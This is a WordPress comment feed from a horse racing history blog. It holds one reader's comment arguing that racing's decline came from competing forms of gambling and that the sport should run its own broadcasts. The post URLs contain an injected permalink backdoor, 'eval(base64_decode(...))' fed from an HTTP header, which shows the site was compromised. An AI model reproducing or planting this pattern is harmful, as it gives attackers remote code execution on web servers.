Comments on: Say it ain’t so Jess http://www.nostalgichorse.com/2009/05/08/say-it-aint-so-jess/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ Bringing you horse racing news and history Fri, 15 Jan 2010 10:13:18 +0000 hourly 1 http://wordpress.org/?v=3.0 By: clocker http://www.nostalgichorse.com/2009/05/08/say-it-aint-so-jess/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comment-6396 clocker Mon, 11 May 2009 03:15:10 +0000 http://www.nostalgichorse.com/?p=190#comment-6396 The death of Ruffian didn't have much impact on the sport beyond the immediate momentary aftermath. Later, the two Triple Crown winners, Spectacular Bid, and the explosion in yearling prices that lasted until 1982 found the sport on very healthy terms financially. What eventually hurt it was the expansion of other forms of gambling, and the aging of the betting demographic that was never replaced. That process is still ongoing. If the gambling structure would somehow find itself similar to what it was in the 70s, the impact of Barbaro and Eight Belles would have similar marginal impact. The occasional bettor might be upset. But the real gamblers - the lifeblood - would still show up for the next program. One thing that would help horse racing would to control its own broadcasts, like Major League baseball does. The teams hire their own announcers, and give them parameters to operate under. The broadcasts don't show streakers or any unruliness that detracts from the splendor of the game. They dwell on the positive, and keep the negative to the minimum. Horse racing should do the same. Obsessing on breakdowns and showing umpteen jillion replay angles doesn't give a balanced view of the picture. Having outside entities like ESPN sensationalize forever is an odd way to showcase the product. The death of Ruffian didn’t have much impact on the sport beyond the immediate momentary aftermath. Later, the two Triple Crown winners, Spectacular Bid, and the explosion in yearling prices that lasted until 1982 found the sport on very healthy terms financially. What eventually hurt it was the expansion of other forms of gambling, and the aging of the betting demographic that was never replaced. That process is still ongoing.

If the gambling structure would somehow find itself similar to what it was in the 70s, the impact of Barbaro and Eight Belles would have similar marginal impact. The occasional bettor might be upset. But the real gamblers – the lifeblood – would still show up for the next program.

One thing that would help horse racing would to control its own broadcasts, like Major League baseball does. The teams hire their own announcers, and give them parameters to operate under. The broadcasts don’t show streakers or any unruliness that detracts from the splendor of the game. They dwell on the positive, and keep the negative to the minimum. Horse racing should do the same. Obsessing on breakdowns and showing umpteen jillion replay angles doesn’t give a balanced view of the picture. Having outside entities like ESPN sensationalize forever is an odd way to showcase the product.

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